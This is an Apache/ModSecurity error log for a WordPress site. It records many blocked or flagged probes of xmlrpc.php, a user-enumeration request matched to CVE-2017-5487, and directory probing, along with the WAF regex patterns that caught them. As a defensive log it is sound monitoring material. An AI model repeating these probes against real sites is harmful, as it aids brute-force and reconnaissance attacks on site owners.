[Sun Apr 12 15:50:06.423021 2026] [:error] [pid 25329:tid 25392] [client 102.91.5.34:6008] [client 102.91.5.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.91.5.34, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtOrmdcIYsS8Iyaj12TaQAAAIk"]
[Sun Apr 12 15:50:17.084001 2026] [:error] [pid 25327:tid 25337] [client 102.91.5.154:13357] [client 102.91.5.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.91.5.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtOuS6h2tZEVJo9JFKy8wAAAAE"]
[Sun Apr 12 15:50:27.935018 2026] [:error] [pid 60280:tid 60290] [client 102.91.5.154:13319] [client 102.91.5.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.91.5.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtOw3BlLnDOYuIykkgPgwAAAcg"]
[Sun Apr 12 15:50:38.524376 2026] [:error] [pid 60280:tid 60301] [client 102.91.5.34:5980] [client 102.91.5.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.91.5.34, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtOznBlLnDOYuIykkgPiwAAAdM"]
[Sun Apr 12 15:50:49.161623 2026] [:error] [pid 60280:tid 60293] [client 197.210.70.27:39625] [client 197.210.70.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.210.70.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtO2XBlLnDOYuIykkgPpQAAAcs"]
[Sun Apr 12 15:50:59.803162 2026] [:error] [pid 25437:tid 25451] [client 102.91.5.154:13313] [client 102.91.5.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.91.5.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtO43f97wYZje1ep_MEXAAAAMw"]
[Sun Apr 12 15:51:20.632799 2026] [:error] [pid 25328:tid 25394] [client 34.101.217.251:58682] [client 34.101.217.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.101.217.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtO-MxUaQZxT-e0YsDSWQAAAFI"]
[Sun Apr 12 15:51:56.729370 2026] [:error] [pid 25328:tid 25408] [client 197.210.70.64:55308] [client 197.210.70.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.210.70.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtPHMxUaQZxT-e0YsDSlQAAAFg"]
[Sun Apr 12 15:56:17.981707 2026] [:error] [pid 25329:tid 25393] [client 221.229.106.25:46006] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adtQIWdcIYsS8Iyaj12T0gAAAIo"]
[Sun Apr 12 15:59:24.533122 2026] [:error] [pid 26599:tid 26608] [client 152.59.151.191:49975] [client 152.59.151.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.151.191, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtQ3HG89LXoQbk_rwCwVAAAAUY"]
[Sun Apr 12 15:59:34.932232 2026] [:error] [pid 25328:tid 25370] [client 152.59.151.191:3943] [client 152.59.151.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.151.191, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtQ5sxUaQZxT-e0YsDVTQAAAEY"]
[Sun Apr 12 15:59:45.555701 2026] [:error] [pid 25437:tid 25447] [client 152.59.151.191:50838] [client 152.59.151.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.151.191, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtQ8Xf97wYZje1ep_MGiQAAAMg"]
[Sun Apr 12 16:03:09.504197 2026] [:error] [pid 25328:tid 25377] [client 43.135.144.81:33572] [client 43.135.144.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adtRvcxUaQZxT-e0YsDWLgAAAEo"]
[Sun Apr 12 16:03:47.325371 2026] [:error] [pid 26599:tid 26604] [client 77.95.113.65:38972] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtR43G89LXoQbk_rwCwiQAAAUI"]
[Sun Apr 12 16:04:42.413079 2026] [:error] [pid 60280:tid 60287] [client 197.210.70.64:55347] [client 197.210.70.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.210.70.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtSGnBlLnDOYuIykkgWswAAAcU"]
[Sun Apr 12 16:05:14.731786 2026] [:error] [pid 25327:tid 25352] [client 197.210.71.191:10586] [client 197.210.71.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.210.71.191, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtSOi6h2tZEVJo9JFK0sAAAABA"]
[Sun Apr 12 16:05:26.255605 2026] [:error] [pid 26600:tid 26641] [client 197.210.70.64:55331] [client 197.210.70.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.210.70.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtSRu1YwAZiXhQKLYoJCwAAAYw"]
[Sun Apr 12 16:05:35.983926 2026] [:error] [pid 26599:tid 26622] [client 197.210.71.199:28363] [client 197.210.71.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.210.71.199, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtST3G89LXoQbk_rwCwsAAAAVQ"]
[Sun Apr 12 16:06:19.126825 2026] [:error] [pid 60280:tid 60299] [client 197.210.70.9:51138] [client 197.210.70.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.210.70.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtSe3BlLnDOYuIykkgXPQAAAdE"]
[Sun Apr 12 16:06:40.454706 2026] [:error] [pid 26600:tid 26650] [client 102.91.5.6:5139] [client 102.91.5.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.91.5.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtSkO1YwAZiXhQKLYoJNQAAAZU"]
[Sun Apr 12 16:06:51.976715 2026] [:error] [pid 26567:tid 26575] [client 102.91.4.232:64353] [client 102.91.4.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.91.4.232, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtSm3hRpg6ptWFyFx2ELwAAAQY"]
[Sun Apr 12 16:16:48.296361 2026] [:error] [pid 25328:tid 25408] [client 103.165.15.206:25876] [client 103.165.15.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.165.15.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtU8MxUaQZxT-e0YsDZkQAAAFg"]
[Sun Apr 12 16:16:51.487165 2026] [:error] [pid 60280:tid 60297] [client 223.185.62.67:2380] [client 223.185.62.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.62.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtU83BlLnDOYuIykkgaWwAAAc8"]
[Sun Apr 12 16:17:04.016575 2026] [:error] [pid 25328:tid 25391] [client 223.185.62.67:20251] [client 223.185.62.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.62.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtVAMxUaQZxT-e0YsDZqQAAAFE"]
[Sun Apr 12 16:17:33.452700 2026] [:error] [pid 25437:tid 25442] [client 103.165.15.206:27042] [client 103.165.15.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.165.15.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtVHXf97wYZje1ep_MJsQAAAMM"]
[Sun Apr 12 16:17:41.686358 2026] [:error] [pid 25328:tid 25405] [client 103.165.15.206:27643] [client 103.165.15.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.165.15.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtVJcxUaQZxT-e0YsDZsQAAAFc"]
[Sun Apr 12 16:19:20.580534 2026] [:error] [pid 25329:tid 25400] [client 180.181.244.244:43824] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtViGdcIYsS8Iyaj12VKgAAAI4"]
[Sun Apr 12 16:19:47.374005 2026] [:error] [pid 60280:tid 60297] [client 211.169.178.4:19275] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.169.178.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtVo3BlLnDOYuIykkga4wAAAc8"]
[Sun Apr 12 16:20:07.380905 2026] [:error] [pid 25329:tid 25395] [client 109.176.198.138:46898] [client 109.176.198.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.176.198.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtVt2dcIYsS8Iyaj12VNAAAAIs"]
[Sun Apr 12 16:29:10.338350 2026] [:error] [pid 25437:tid 25445] [client 196.27.114.137:41744] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtX1nf97wYZje1ep_ML5gAAAMY"]
[Sun Apr 12 16:45:01.755922 2026] [:error] [pid 26599:tid 26621] [client 79.43.100.71:53071] [client 79.43.100.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.43.100.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtbjXG89LXoQbk_rwC0gAAAAVM"]
[Sun Apr 12 16:47:33.984303 2026] [:error] [pid 25327:tid 25358] [client 185.226.232.56:55366] [client 185.226.232.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.226.232.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtcJS6h2tZEVJo9JFK4qQAAABY"]
[Sun Apr 12 16:48:05.258390 2026] [:error] [pid 26599:tid 26621] [client 79.43.100.71:61255] [client 79.43.100.71] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adtcRXG89LXoQbk_rwC1FAAAAVM"]
[Sun Apr 12 16:48:57.110291 2026] [:error] [pid 25437:tid 25458] [client 79.43.100.71:58713] [client 79.43.100.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.43.100.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtceXf97wYZje1ep_MQNgAAANM"]
[Sun Apr 12 16:51:26.893054 2026] [:error] [pid 25437:tid 25444] [client 161.35.47.44:48660] [client 161.35.47.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.47.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtdDnf97wYZje1ep_MQ0QAAAMU"]
[Sun Apr 12 16:55:11.111646 2026] [autoindex:error] [pid 26599:tid 26607] [client 143.110.240.70:56738] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Apr 12 17:01:19.568751 2026] [:error] [pid 26600:tid 26638] [client 104.37.174.183:36214] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtfX-1YwAZiXhQKLYoTggAAAYk"]
[Sun Apr 12 17:07:32.713716 2026] [:error] [pid 25437:tid 25457] [client 116.202.123.186:15126] [client 116.202.123.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.202.123.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtg1Hf97wYZje1ep_MWQwAAANI"]
[Sun Apr 12 17:10:51.527692 2026] [:error] [pid 26567:tid 26588] [client 51.159.214.31:59870] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adthm3hRpg6ptWFyFx2O0wAAARM"]
[Sun Apr 12 17:11:31.572191 2026] [:error] [pid 60280:tid 60286] [client 207.154.197.201:36694] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adthw3BlLnDOYuIykkg0IgAAAcQ"]
[Sun Apr 12 17:12:04.954723 2026] [:error] [pid 25329:tid 25409] [client 157.66.27.30:49802] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adth5GdcIYsS8Iyaj12azQAAAJM"]
[Sun Apr 12 17:13:42.035165 2026] [:error] [pid 25437:tid 25459] [client 159.65.130.72:37778] [client 159.65.130.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.130.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtiRnf97wYZje1ep_MYGgAAANQ"]
[Sun Apr 12 17:18:44.729961 2026] [autoindex:error] [pid 60280:tid 60295] [client 143.110.240.70:50702] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Apr 12 17:19:57.184353 2026] [:error] [pid 26600:tid 26629] [client 15.235.163.7:50048] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtjve1YwAZiXhQKLYoYVwAAAYA"]
[Sun Apr 12 17:20:37.732780 2026] [:error] [pid 26567:tid 26593] [client 54.38.178.30:44388] [client 54.38.178.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.178.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtj5XhRpg6ptWFyFx2Q-AAAARg"]
[Sun Apr 12 17:26:14.486050 2026] [:error] [pid 60280:tid 60306] [client 138.197.129.229:19196] [client 138.197.129.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.129.229, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtlNnBlLnDOYuIykkg-kAAAAdg"]
[Sun Apr 12 17:27:51.322385 2026] [:error] [pid 25328:tid 25377] [client 167.99.182.49:46968] [client 167.99.182.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.182.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtll8xUaQZxT-e0YsD0YAAAAEo"]
[Sun Apr 12 17:31:38.279557 2026] [:error] [pid 26600:tid 26647] [client 178.254.50.20:60714] [client 178.254.50.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.254.50.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtmeu1YwAZiXhQKLYoboAAAAZI"]
[Sun Apr 12 17:34:46.725564 2026] [:error] [pid 25327:tid 25352] [client 144.202.29.51:38846] [client 144.202.29.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.202.29.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtnNi6h2tZEVJo9JFLB9QAAABA"]
[Sun Apr 12 17:38:09.118172 2026] [:error] [pid 60280:tid 60294] [client 152.53.87.236:58908] [client 152.53.87.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.87.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtoAXBlLnDOYuIykkhFEgAAAcw"]
[Sun Apr 12 17:44:49.863837 2026] [:error] [pid 25437:tid 25448] [client 23.98.148.92:50404] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtpkXf97wYZje1ep_Mj9wAAAMk"]
[Sun Apr 12 17:47:36.750137 2026] [:error] [pid 25328:tid 25401] [client 106.200.18.52:32551] [client 106.200.18.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.18.52, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtqOMxUaQZxT-e0YsD73AAAAFU"]
[Sun Apr 12 17:47:47.120437 2026] [:error] [pid 25328:tid 25408] [client 106.200.18.52:19810] [client 106.200.18.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.18.52, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtqQ8xUaQZxT-e0YsD76wAAAFg"]
[Sun Apr 12 17:47:56.360406 2026] [:error] [pid 25328:tid 25379] [client 106.200.18.52:13999] [client 106.200.18.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.18.52, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtqTMxUaQZxT-e0YsD8EwAAAEs"]
[Sun Apr 12 17:48:06.810524 2026] [:error] [pid 26599:tid 26616] [client 106.200.18.52:7733] [client 106.200.18.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.18.52, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtqVnG89LXoQbk_rwC-9AAAAU4"]
[Sun Apr 12 17:54:13.884469 2026] [:error] [pid 25437:tid 25439] [client 83.166.155.159:44620] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtrxXf97wYZje1ep_MnMQAAAMA"]
